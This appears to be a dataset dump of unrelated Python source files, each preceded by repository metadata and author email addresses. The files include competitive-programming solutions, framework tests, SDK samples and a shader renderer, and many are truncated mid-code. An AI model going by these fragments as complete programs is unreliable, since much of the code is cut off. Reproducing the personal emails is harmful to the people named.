#!/usr/bin/env python # -*- encoding: utf-8 -*- """ @File : TranslateNum.py @Contact : 70904372cecilia@gmail.com @License : (C)Copyright 2019-2020 @Modify Time @Author @Version @Desciption ------------ ------- -------- ----------- 2020/8/20 17:25 cecilia 1.0 将数字翻译成字符串(动...
[ "cc15572018516@163.com" ]
cc15572018516@163.com
448bbafeda4d93db4b12f8ef5c59ae79fc24c289
8fcc27160f8700be46296568260fa0017a0b3004
/client/eve/client/script/ui/inflight/overviewConst.py
85f3d85f78770a6671ddb297f18e716c4e610f5b
[]
no_license
connoryang/dec-eve-serenity
5d867f4eedfa896a4ef60f92556356cafd632c96
b670aec7c8b4514fc47cd52e186d7ccf3aabb69e
refs/heads/master
2021-01-22T06:33:16.303760
2016-03-16T15:15:32
2016-03-16T15:15:32
56,389,750
1
0
null
2016-04-16T15:05:24
2016-04-16T15:05:24
null
UTF-8
Python
false
false
1,637
py
#Embedded file name: e:\jenkins\workspace\client_SERENITY\branches\release\SERENITY\eve\client\script\ui\inflight\overviewConst.py HTML_ENTITIES = '&gt;|&lt;|&amp;|&GT;|&LT;|&AMP;' HTML_ENTITY_REPLACEMENTS = {'&gt;': u'>', '&lt;': u'<', '&amp;': u'&', '&GT;': u'>', '&LT;': u'<', '&AMP;': u'&'} COLUMN_VELOC...
[ "masaho.shiro@gmail.com" ]
masaho.shiro@gmail.com
6ede3dec4fc3366ddd58aa1b8a9dce545de6f60c
6bd9d7679011042f46104d97080786423ae58879
/1354/b/b.py
c5baabf6be93aff429e0886b44de9ce7c75c998e
[ "CC-BY-4.0" ]
permissive
lucifer1004/codeforces
20b77bdd707a1e04bc5b1230f5feb4452d5f4c78
d1fe331d98d6d379723939db287a499dff24c519
refs/heads/master
2023-04-28T16:00:37.673566
2023-04-17T03:40:27
2023-04-17T03:40:27
212,258,015
3
1
null
2020-10-27T06:54:02
2019-10-02T04:53:36
C++
UTF-8
Python
false
false
623
py
def read_int(): return int(input()) def read_ints(): return map(int, input().split(' ')) t = read_int() for case_num in range(t): s = input() cnt = dict() cnt['1'] = 0 cnt['2'] = 0 cnt['3'] = 0 ans = len(s) + 1 l = 0 r = -1 while r < len(s): while cnt['1'] == 0 or...
[ "qqbbnease1004@126.com" ]
qqbbnease1004@126.com
4fd4e03ad1b0b214163bede11bcd5e8719f7e39f
7aecab27c231c5207f26a1682543b0d6c5093c06
/server/dancedeets/servlets/static_db.py
4e4e66a28e5f91df81f034299e687a32db365214
[]
no_license
mikelambert/dancedeets-monorepo
685ed9a0258ea2f9439ae4ed47ebf68bb5f89256
4eff1034b9afd3417d168750ea3acfaecd20adc6
refs/heads/master
2022-08-10T07:16:32.427913
2018-04-15T22:05:58
2018-04-15T22:05:58
75,126,334
24
2
null
2022-07-29T22:28:45
2016-11-29T22:04:44
Python
UTF-8
Python
false
false
1,293
py
import logging import markdown from google.appengine.ext import ndb from dancedeets import app from dancedeets import base_servlet class StaticContent(ndb.Model): # SSO name = ndb.StringProperty() language = ndb.StringProperty() title = ndb.TextProperty() markdown = ndb.TextProperty() @app.ro...
[ "mlambert@gmail.com" ]
mlambert@gmail.com
b209d3c16349512055925e9cbf4a3fa29525c953
ba916d93dfb8074241b0ea1f39997cb028509240
/kickstart/2022/RoundG/walktober.py
f107c0a85613b024a4bdb3e977d295dd90a3c2c0
[]
no_license
satojkovic/algorithms
ecc1589898c61d2eef562093d3d2a9a2d127faa8
f666b215bc9bbdab2d2257c83ff1ee2c31c6ff8e
refs/heads/master
2023-09-06T08:17:08.712555
2023-08-31T14:19:01
2023-08-31T14:19:01
169,414,662
2
3
null
null
null
null
UTF-8
Python
false
false
461
py
import numpy as np T = int(input()) for t in range(1, T + 1): M, N, P = list(map(int, input().split())) board = [] for _ in range(M): b = list(map(int, input().split())) board.append(b) board = np.array(board) total = 0 for n in range(N): top = sorted(board[:, n], revers...
[ "satojkovic@gmail.com" ]
satojkovic@gmail.com
dff1926c92f1f008a6c7e5907d3b9edb070d8ca6
439781ac3a6b083f9a5ec3b8e5f1bae2965ddbb2
/leetcode_175.py
eafd8d1fbfb34454c45895263f9d1dd195841814
[]
no_license
bajpaiNikhil/Leetcode
f957fa0eef0ea20c2a0a5e1561243256dd332efa
3920adb41849e49d20c75b2f0bb0093bc382890d
refs/heads/master
2023-04-29T10:45:55.725869
2021-05-24T06:35:33
2021-05-24T06:35:33
314,014,378
0
0
null
null
null
null
UTF-8
Python
false
false
859
py
class treeNOde: def __init__(self,val=0,left=None,right=None): self.val=val self.left=left self.right=right def height(root): if root==None: return 0 return 1+max(height(root.left),height(root.right)) def traverse(node, level, pos): if not node: ret...
[ "nikhil.cse16@gmail.com" ]
nikhil.cse16@gmail.com
8946cb15814fb35ea98c692f5c1d755455c18d68
5d0edf31b17c5375faf6126c1a7be8e79bfe2ab8
/buildout-cache/eggs/sc.social.like-2.5-py2.7.egg/sc/social/like/testing.py
fb60710f8018f9e09a0934936bb10b4f13f9e8ef
[]
no_license
renansfs/Plone_SP
27cba32ebd9fc03dae3941ec23cf1bf0a7b6667a
8a7bdbdb98c3f9fc1073c6061cd2d3a0ec80caf5
refs/heads/master
2021-01-15T15:32:43.138965
2016-08-24T15:30:19
2016-08-24T15:30:19
65,313,812
0
3
null
null
null
null
UTF-8
Python
false
false
1,404
py
# -*- coding: utf-8 -*- from plone import api from plone.app.robotframework.testing import AUTOLOGIN_LIBRARY_FIXTURE from plone.app.testing import FunctionalTesting from plone.app.testing import IntegrationTesting from plone.app.testing import PLONE_FIXTURE from plone.app.testing import PloneSandboxLayer from plone.tes...
[ "renansfs@gmail.com" ]
renansfs@gmail.com
03c30c65c8dbeeb2343c74e6878b27c76285f66a
aaa762ce46fa0347cdff67464f56678ea932066d
/AppServer/lib/django-1.4/tests/modeltests/properties/models.py
5c2656570c7ad84b8c026be1f5334a22448736a9
[ "BSD-3-Clause", "Apache-2.0", "LGPL-2.1-or-later", "MIT", "GPL-2.0-or-later", "MPL-1.1" ]
permissive
obino/appscale
3c8a9d8b45a6c889f7f44ef307a627c9a79794f8
be17e5f658d7b42b5aa7eeb7a5ddd4962f3ea82f
refs/heads/master
2022-10-01T05:23:00.836840
2019-10-15T18:19:38
2019-10-15T18:19:38
16,622,826
1
0
Apache-2.0
2022-09-23T22:56:17
2014-02-07T18:04:12
Python
UTF-8
Python
false
false
568
py
""" 22. Using properties on models Use properties on models just like on any other Python object. """ from django.db import models class Person(models.Model): first_name = models.CharField(max_length=30) last_name = models.CharField(max_length=30) def _get_full_name(self): return "%s %s" % (sel...
[ "root@lucid64.hsd1.ca.comcast.net" ]
root@lucid64.hsd1.ca.comcast.net
4f485c42c9943c1b20610bf870ea87d3345f23b6
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/hdinsight/azure-mgmt-hdinsight/generated_samples/create_hd_insight_cluster_with_compute_isolation_properties.py
dc367b2ee5df9abf26b82c34cfdbf301c9332847
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
4,095
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
Azure.noreply@github.com
6769a9702b13423d7f28d1539fd3faa577c307c1
2933b8f123981f88e576e7ba5baa5143c3667019
/pysmartnode/logging/logging_full.py
08ded118d695cb45e92bb7229e24d0445fd35827
[ "MIT" ]
permissive
MatthiasLienhard/pysmartnode
c6a9b4819cddcf1b928eecc385cef087a832e5cb
f853efb3378d881dd2e62eec2ca1621898953c19
refs/heads/master
2020-09-04T09:31:45.302398
2019-07-07T06:14:55
2019-07-07T06:14:55
null
0
0
null
null
null
null
ISO-8859-1
Python
false
false
2,305
py
''' Created on 19.07.2017 @author: Kevin Köck ''' __updated__ = "2018-09-28" __version__ = "2.5" # TODO: Add possibility to use real logging module on esp32_lobo and save logs locally or to sdcard import gc from pysmartnode.utils import sys_vars from pysmartnode import config import uasyncio as asyncio gc.collect(...
[ "kevinkk525@users.noreply.github.com" ]
kevinkk525@users.noreply.github.com
d0f496043a46805e72ab5218af55fd55aba6ca69
877086f72d55e4283f87d23991b4a4b7ce273b8d
/schevo/test/test_relax_index.py
9c8073c549d3f8cb2e0a3f22ab773520144edb44
[ "MIT" ]
permissive
Schevo/schevo
8a8fb981b947446942723877920120628fc9c457
d57a41f8b7b514ed48dc0164dcd3412a89e9873b
refs/heads/master
2016-09-05T09:29:46.914848
2009-10-04T23:01:31
2009-10-04T23:01:31
199,052
2
0
null
null
null
null
UTF-8
Python
false
false
1,800
py
"""relax_index/enforce_index unit tests.""" # Copyright (c) 2001-2009 ElevenCraft Inc. # See LICENSE for details. from schevo.test import CreatesSchema, raises class BaseRelaxIndex(CreatesSchema): body = """ class Foo(E.Entity): name = f.string() _key(name) @extentmethod ...
[ "gldnspud@gmail.com" ]
gldnspud@gmail.com
5f489b13df8d25a8f8a553b54b91cecf2cb5d4a0
0cf6728548830b42c60e37ea1c38b54d0e019ddd
/Learning_Quant/python金融大数据挖掘与分析全流程详解/第6章源代码汇总/6.2.2 Excel工作簿等文件的读取和写入.py
e63ab47d43fab1bf35910d065a16b685f5951e77
[]
no_license
MuSaCN/PythonLearning
8efe166f66f2bd020d00b479421878d91f580298
507f1d82a9228d0209c416626566cf390e1cf758
refs/heads/master
2022-11-11T09:13:08.863712
2022-11-08T04:20:09
2022-11-08T04:20:09
299,617,217
2
2
null
null
null
null
UTF-8
Python
false
false
1,078
py
# ============================================================================= # 6.2.2 Excel等文件的读取和写入 by 王宇韬&肖金鑫 # ============================================================================= # 1.文件读取 # 1.1 读取Excel文件 import pandas as pd data = pd.read_excel('data.xlsx') # data为DataFrame结构,这里设置是相对路径,也可以改成绝对路径 print(...
[ "39754824+MuSaCN@users.noreply.github.com" ]
39754824+MuSaCN@users.noreply.github.com
05e2b8654610856f885d4a7a20e7f9018e20802f
96ec40afeeb163bd370c25052cce9c87ae084fe1
/phoenix/esgf/slcsclient.py
19278c0e62c42c0a1270c6d0cf447e1c12e045df
[ "Apache-2.0" ]
permissive
TeriForey/fawkes
4e8edc68676c284b994fd5ec7c1815045ed13804
1b51430d2f952d9802f13fa1f2d0f68df706c43e
refs/heads/master
2020-03-14T11:09:50.624391
2018-07-27T13:48:11
2018-07-27T13:48:11
131,584,635
0
0
Apache-2.0
2018-06-21T15:04:03
2018-04-30T10:51:43
JavaScript
UTF-8
Python
false
false
5,865
py
from OpenSSL import crypto from base64 import b64encode from StringIO import StringIO from requests_oauthlib import OAuth2Session from pyramid.security import authenticated_userid from phoenix.esgf.logon import save_credentials from phoenix.db import mongodb import logging LOGGER = logging.getLogger(__name__) def...
[ "ehbrecht@dkrz.de" ]
ehbrecht@dkrz.de
ca7157b5b0c7069e59967ab599962d956d7fefc7
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/verbs/_cloyed.py
866731bcab5dd3b76d7f2caaed6ae87438105c9b
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
226
py
from xai.brain.wordbase.verbs._cloy import _CLOY #calss header class _CLOYED(_CLOY, ): def __init__(self,): _CLOY.__init__(self) self.name = "CLOYED" self.specie = 'verbs' self.basic = "cloy" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
c1c1e6f62b2df825cdf3bb2f44508dc73ba8f0b3
bbebd95ce007baf3be20ca14fc8fe696c4c7dd96
/L9 Python Scripts/Lemur256_b995_9/__init__.py
1558a6a3907cffb4e21b8f83fc52de13c9f23463
[]
no_license
spiralune/monomodular
70eeabcb5a9921b7bab30d8c5fd45ca237cde9c3
862bb02067c2fbc9816795904b2537a9b5e1c7b6
refs/heads/master
2020-12-11T04:06:25.390424
2014-07-09T19:45:41
2014-07-09T19:45:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
452
py
# by amounra 0513 : http://www.aumhaa.com from Lemur256 import Lemur256 def create_instance(c_instance): """ Creates and returns the LemaurPad script """ return Lemur256(c_instance) from _Framework.Capabilities import * def get_capabilities(): return {CONTROLLER_ID_KEY: controller_id(vendor_id=2536, ...
[ "aumhaa@gmail.com" ]
aumhaa@gmail.com
fc7501db831d9f628d3edcf954d3733be7392097
8fde9a65a5ec19bcffbf9b868de702bd75303739
/keras/QuickDraw/printh5.py
e394bfc0b85b6a72b637e74f070b8e01e3fe0a2a
[]
no_license
wupanhao/XiaoBaiAssistant
d7eb0e3e4ef83344ef146d7a0e354cdcade84718
5c8412954b680ccd01c6a681b18e9ed2b6c60550
refs/heads/master
2020-05-04T21:54:48.499925
2019-10-31T16:23:53
2019-10-31T16:23:53
179,493,103
3
2
null
null
null
null
UTF-8
Python
false
false
1,285
py
import h5py def print_keras_wegiths(weight_file_path): f = h5py.File(weight_file_path) # 读取weights h5文件返回File类 try: if len(f.attrs.items()): print("{} contains: ".format(weight_file_path)) print("Root attributes:") for key, value in f.attrs.items(): print(" ...
[ "wupanhao@qq.com" ]
wupanhao@qq.com
9901ce8a9aecd422b682131a26e189cf0f2f660c
fddad101c7be2fcbc05131081e708f31948c002f
/1209. Remove All Adjacent Duplicates in String II/answer.py
4cbb1e8f2ae537174d21c43e8d203d351fd5f150
[]
no_license
LennyDuan/AlgorithmPython
a10c9278c676829ab5a284a618f6352414888061
523c11e8a5728168c4978c5a332e7e9bc4533ef7
refs/heads/master
2021-07-16T12:31:08.284846
2021-03-28T20:31:28
2021-03-28T20:31:28
244,040,362
0
0
null
null
null
null
UTF-8
Python
false
false
361
py
def removeDuplicates(self, s: str, t_k: int) -> str: dups = [] for c in set(s): dups.append(k * c) print(dups) while True: tmp = s for dup in dups: if dup in s: s = s.replace(dup, "") if tmp == s: return s s = "deeedbbcccbdaa" k...
[ "hod8@aber.ac.uk" ]
hod8@aber.ac.uk
8697fd8861412387125e89f18bb23fd13b05a360
c32fc1071362ca56f4f2a5488be7c4f41a2d3dc1
/pythoncrashcourse/linkedinpython/introduction/introduction.py
775e7cdcde7c38807c7b439deceaa6a7de9afcb3
[]
no_license
charan2108/pyprocharmprojects
234713888168551fe1fc49d20482f4b1d2b9351a
8100194a8d14bf84b6141df8c73e7ed1883d85e3
refs/heads/main
2023-08-21T00:59:47.052269
2021-09-30T16:05:41
2021-09-30T16:05:41
353,374,435
0
0
null
null
null
null
UTF-8
Python
false
false
170
py
print("Hello World") name = input("Enter name") print("Nice to meet you", name) def main(): name = input("Enter name") print("Nice to meet you", name)
[ "sumacharan.adabala@gmail.com" ]
sumacharan.adabala@gmail.com
627725fc35cbe5f3ebadc054fef03d82fe28cdf4
1bdb0da31d14102ca03ee2df44f0ec522b0701a4
/Lombardia/AcqueBresciane/3-ReportFoundList_.py
1e2033ab7b3e79a4c1b701d36ca664dd3fe0e2a7
[]
no_license
figuriamoci/Acqua
dc073d90c3c5e5899b22005685847916de1dfd95
aef22fcd0c80c92441e0e3df2468d7a2f23a848a
refs/heads/master
2020-12-15T04:00:26.855139
2020-06-08T21:17:55
2020-06-08T21:17:55
234,986,179
1
0
null
null
null
null
UTF-8
Python
false
false
2,033
py
## from bs4 import BeautifulSoup import pandas as pd,logging,requests,io import pdfquery import acqua.aqueduct as aq gestore = "AcqueBresciane" aq.setEnv('Lombardia//'+gestore) url = 'https://www.acquebresciane.it/public/acquebresciane-portal/it/home/qualita-acqua' page = requests.get(url) soup = BeautifulSoup(page.tex...
[ "an.fantini@gmail.com" ]
an.fantini@gmail.com
2c1e265c744442aa296d693d2194b439a9625d5b
567a4a614727613160f64da1ddd20fbc9fdeb906
/source/__main__.py
3a3b92e2d8f2839f4929b06e03877dba2f5fdeab
[ "MIT" ]
permissive
whitegreyblack/PyCurses
3790fd7561b02c984c8aee97cd1579c31866ab57
78f3637b4c03c11d7f6ef15b20a1acf699d4be24
refs/heads/master
2021-01-19T23:00:18.661002
2019-06-26T15:59:33
2019-06-26T15:59:33
88,906,537
0
0
null
null
null
null
UTF-8
Python
false
false
5,183
py
"""__main__.py: Receipt Viewer App Handles building application within curses environment. Initializes curses settings then sends the screen into the application to be built """ __author__ = "Samuel Whang" import curses import os import pprint import sys import click import source.utils as utils from source.applica...
[ "sangwoowhang@gmail.com" ]
sangwoowhang@gmail.com
305a7063cb265833a0edddcc0242a0a19a0fb580
ab6adba9a2c5e5e01a102ecda589923059726a20
/nlpaug/augmenter/word/word_embs_aug.py
953809318f37bd97444d390980d5638065aa3afc
[ "MIT" ]
permissive
AndriyLazorenko/nlpaug
13e0cb0f18c6d3707925b3cfc94971bfb31899aa
79eff53f54ca16a4c49b3e8b0d816012e7b9c905
refs/heads/master
2020-07-06T05:02:47.904689
2019-08-17T01:02:05
2019-08-17T01:02:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,386
py
""" Augmenter that apply operation to textual input based on word embeddings. """ from nlpaug.augmenter.word import WordAugmenter from nlpaug.util import Action # @deprecated(deprecate_from='0.0.7', deprecate_to='0.0.9', msg="Use WordEmbsAug from 0.0.7 version") class WordEmbsAugmenter(WordAugmenter): def __...
[ "makcedward@gmail.com" ]
makcedward@gmail.com
125fa743eb3445847d3f7842c397796d1cf9cfc0
de6f99da346e2646356b51ef040af75f760569e4
/mnist/mnist_demo.py
841f113da6da761d53d4c1781d00767e3b267f1e
[]
no_license
bboym/tensorflow-mnist
14899b75e6fce01ed9bf782cf7a964969a4914c2
bf326ee6577fc1ec5fbffa6928a5766e324901f0
refs/heads/master
2020-12-30T15:42:19.272256
2017-05-13T12:17:48
2017-05-13T12:17:48
91,168,569
0
0
null
null
null
null
UTF-8
Python
false
false
1,252
py
import PIL.Image from numpy import * def RGB2Grey(R,G,B): return (255-((R*30 + G*59 + B*11 + 50) / 100)) def GetImage(filelist): # value=zeros([1,width,height,1]) width=28 height=28 value=zeros([1,width,height,1]) value[0,0,0,0]=-1 label=zeros([1,10]) label[0,0]=-1 for filename in filelist: # print(file...
[ "you@example.com" ]
you@example.com
b1c05ac84637f5aeec8636a74923b0db24b7d0d0
8e3379aaac42e02316c2da9c2edaa5b896256c08
/scripts/training/two_round_poker/step_learning_on_scaled_scalar_feature.py
0cee93690aa1fc95992fca50cfebd2f0ebce1b1a
[]
no_license
ishikota/PyPokerAI
0fc46128ef31a398137c4b6d1a4cef1debc5ad8d
0208c695492f57aa9c47dcf9e55395b7c148db97
refs/heads/master
2020-06-14T15:01:33.884131
2017-03-06T18:11:31
2017-03-06T18:11:31
75,168,872
2
0
null
null
null
null
UTF-8
Python
false
false
6,211
py
#!/usr/local/bin/python # Resolve path configucation import os import sys root = os.path.join(os.path.dirname(__file__), "..", "..", "..") src_path = os.path.join(root, "pypokerai") sys.path.append(root) sys.path.append(src_path) # Prepare method to start pdb when crashed import pdb, traceback, sys def run_insecure_...
[ "ishikota086@gmail.com" ]
ishikota086@gmail.com
7f12ce96e77acbd262dc02ad447dc4acf80e4a51
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2964/60636/256270.py
05a964680fad3511eeadbeead9cc34a53e4b319f
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
1,047
py
def solve(i,j,leni,lenj,cnt,ans1,a,b): if cnt+abs(leni-i+j-lenj)>=ans1: return ans1 while i<leni and j<lenj: if a[i]!=b[j]: ans1= solve(i+1,j+1,leni,lenj,cnt+1,ans1,a,b) ans1=solve(i+1,j,leni,lenj,cnt+1,ans1,a,b) ans1=solve(i,j+1,leni,lenj,cnt+1,ans1,a,b) ...
[ "1069583789@qq.com" ]
1069583789@qq.com
22f0364d66550f6cecdd741dc062269a36390a37
349dadbf45b7c12a3fe41c5e0421c0488b679919
/transformers/tests/test_generation_stopping_criteria.py
d3de2c56da1d5d8ca5d1698b906364a9b44e1e8b
[ "BSD-3-Clause", "CC0-1.0", "LicenseRef-scancode-unknown-license-reference", "Unlicense", "Apache-2.0" ]
permissive
salesforce/CodeRL
c772e408bac690527759f416ea22add4c97e5bec
51db4ff983d5376e62b9e7eba150316a651c80d9
refs/heads/main
2023-08-18T18:38:02.740995
2022-11-18T16:14:28
2022-11-18T16:14:28
508,912,853
412
52
BSD-3-Clause
2023-08-31T07:51:27
2022-06-30T02:54:36
Python
UTF-8
Python
false
false
3,006
py
import time import unittest from transformers import is_torch_available from transformers.testing_utils import require_torch, torch_device from .test_modeling_common import ids_tensor if is_torch_available(): import torch from transformers.generation_stopping_criteria import ( MaxLengthCriteria, ...
[ "hungle@salesforce.com" ]
hungle@salesforce.com
7642f0222acbc26846ce597d577d513b8384cfb6
9febc3008d825a253bd870f05fe128c356586a9c
/venv/lib/python3.7/site-packages/github/Rate.py
a0813490dfcf3fb0f047ddfa9e19ebbbf387a128
[ "LGPL-3.0-or-later", "MIT" ]
permissive
bhaving07/pyup
7ca947a0f4e6b6e1ca1e1b7c49c6bd3d99943c28
17ad21a2957c5cce91ad0cf5f75853a3182806d2
refs/heads/main
2023-02-01T14:16:40.959832
2020-12-18T04:34:27
2020-12-18T04:34:27
322,286,443
0
0
MIT
2020-12-17T13:14:46
2020-12-17T12:20:49
Python
UTF-8
Python
false
false
3,562
py
# -*- coding: utf-8 -*- ############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques <vincent@vincent-jacques.net> # # Copyright 2014 Vincent Jacques <vincent@vincent-ja...
[ "bvgolakiya4@gmail.com" ]
bvgolakiya4@gmail.com
eb4a0264887ef9e2feb2d9073d1d93d10abd0911
464b867648ffa7afb444d9754cf4d1ffbf25d2bf
/Learn_Python/Python_Training/Batch-2/10_Dec_2017/10_Dec/file1.py
a3b46e5c176df1149befd3f0fd25d79588c86c39
[]
no_license
pks3kor/For_GitHub
b619fd7f19baa96d7232a0d35ce48c1355360547
bafb2c15ff81fd2f3f90a57ac7b3467c86ac6a2e
refs/heads/master
2021-01-25T09:20:52.146374
2018-06-10T14:44:04
2018-06-10T14:44:04
93,822,114
2
0
null
null
null
null
UTF-8
Python
false
false
161
py
#~ open(<filename>,<option>) fh = open("Test12.txt","r") #~ print fh #~ print fh.next() #~ print fh.next() #~ print fh.next() #~ print fh.read() print fh.read()
[ "pks3kor@gmail.com" ]
pks3kor@gmail.com
3adbbbbfc8006739687ba975a3360c7a9792914d
99ba551645dc9beed36f0478b396977c50c3e7ef
/程序员面试金典/面试题16.19.水域大小.py
82fbac7fc69893473a13e442a88662338019ee52
[]
no_license
wulinlw/leetcode_cn
57381b35d128fb3dad027208935d3de3391abfd0
b0f498ebe84e46b7e17e94759dd462891dcc8f85
refs/heads/master
2021-08-09T17:26:45.688513
2021-07-15T14:38:30
2021-07-15T14:38:30
134,419,586
0
0
null
null
null
null
UTF-8
Python
false
false
2,230
py
# #!/usr/bin/python # #coding:utf-8 # # 面试题16.19.水域大小 # # https://leetcode-cn.com/problems/pond-sizes-lcci/ # # 你有一个用于表示一片土地的整数矩阵land,该矩阵中每个点的值代表对应地点的海拔高度。若值为0则表示水域。由垂直、水平或对角连接的水域为池塘。池塘的大小是指相连接的水域的个数。编写一个方法来计算矩阵中所有池塘的大小,返回值需要从小到大排序。 # 示例: # 输入: # [ # [0,2,1,0], # [0,1,0,1], # [1,1,0,1], # [0,1,0,1] # ] # 输出:...
[ "wulinlw@gmail.com" ]
wulinlw@gmail.com
472236ca7c4ca250abfbf71f92757e92159863dd
09e57dd1374713f06b70d7b37a580130d9bbab0d
/data/p3BR/R1/benchmark/startPyquil352.py
8ea809afdf0c3bdbd3495a52a266b216ed547c4c
[ "BSD-3-Clause" ]
permissive
UCLA-SEAL/QDiff
ad53650034897abb5941e74539e3aee8edb600ab
d968cbc47fe926b7f88b4adf10490f1edd6f8819
refs/heads/main
2023-08-05T04:52:24.961998
2021-09-19T02:56:16
2021-09-19T02:56:16
405,159,939
2
0
null
null
null
null
UTF-8
Python
false
false
2,489
py
# qubit number=2 # total number=64 import pyquil from pyquil.api import local_forest_runtime, QVMConnection from pyquil import Program, get_qc from pyquil.gates import * import numpy as np conn = QVMConnection() def make_circuit()-> Program: prog = Program() # circuit begin prog += H(0) # number=1 pr...
[ "wangjiyuan123@yeah.net" ]
wangjiyuan123@yeah.net
d5eaf241a86f94a0e23e03a38b151bb6533ffb17
993ff3e6eb510b5083db5f15f2c0299c05a2c0f6
/crm_custom/__manifest__.py
06ffa89c920582078f8b0c4262a351f0bfbaadf1
[]
no_license
Raghupathy15/Sigma
36b24e76e81bad4ae5435508018f1c960878901d
42eed3b211a7be8d8c9b70dc359a432c02be07f1
refs/heads/main
2023-01-31T18:25:09.712666
2020-12-09T09:22:17
2020-12-09T09:22:17
319,904,130
0
0
null
null
null
null
UTF-8
Python
false
false
359
py
{ 'name' : 'CRM Custom', 'version' : '12.0', 'author' : 'Indglobal', 'website' : 'http://www.indglobal.in', 'category' : 'Tools', 'depends' : ['base', 'crm','indglobal_city_master', 'hr'], 'description' : 'CRM Custom', 'data' : [ 'security/ir.model.access.csv', 'data/ir_sequence.xml', 'views/crm_lead.xml', 'vie...
[ "raghupathy@emxcelsolutions.com" ]
raghupathy@emxcelsolutions.com
f68e2529aaa8cbe32bb97722abe9b1c776231403
e4bc9d7f2e177bcd9850ffa12e5b2ddabb3f98ab
/01. Jump to python/Chap04/160_4_a.py
209c92289b52c177c6166660244c4cc9e7071eb1
[]
no_license
yameenjavaid/bigdata2019
94b80b570b76cb174fcacddf8c8c1711a72e77b4
3565a1f10162d0ad147a9f189536b858ebe04ffa
refs/heads/master
2022-01-13T15:39:09.793982
2019-04-29T00:14:07
2019-04-29T00:14:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
444
py
f=open("./file2.txt", 'a') # f.write("Hello Daegu!!!!!!!!!!!!!!!!!!!!!!!!") # 이전 파일의 마지막 위치에서 값을 쓴다. # 따라서 줄 단위로 입력을 하고 싶으면 메세지의 마지막에 \n을 명시적으로 붙인다. # f.write("\nHello Pusan!!!!!!!!!!!!!!!!!!!!!!!!") # 이전 파일의 마지막 위치에서 값을 쓴다. my_message="""Hello Seoul!! Hello Jeju!! Hello Incheon!! """ f.write(my_message) f.close()
[ "bgd0706@hanmail.net" ]
bgd0706@hanmail.net
0f8f37cd90d5f100464c911c71f62517454531fe
32f9ee929db8e544bebbe4a7d94e6fea90e6d9ab
/tilerenderer.py
928a25560046c4ab79988b715117fc19a5d8316d
[]
no_license
daeken/Shaderforth
b8c132cfec0c83f8c3191671182fe7c52a20bd9b
519daefa7ac044f224e49e321b0cb507ecde1190
refs/heads/master
2021-01-18T22:08:08.917801
2016-06-29T03:39:44
2016-06-29T03:39:44
13,512,790
27
1
null
null
null
null
UTF-8
Python
false
false
2,923
py
import os, sys, time, datetime from OpenGL.GL import * from OpenGL.GLUT import * from OpenGL.GL.shaders import * from OpenGL.arrays import vbo from OpenGL.raw.GL.ARB.vertex_array_object import glGenVertexArrays, glBindVertexArray from PIL import Image import numpy from compiler import Compiler vert = ''' attribute ve...
[ "cody.brocious@gmail.com" ]
cody.brocious@gmail.com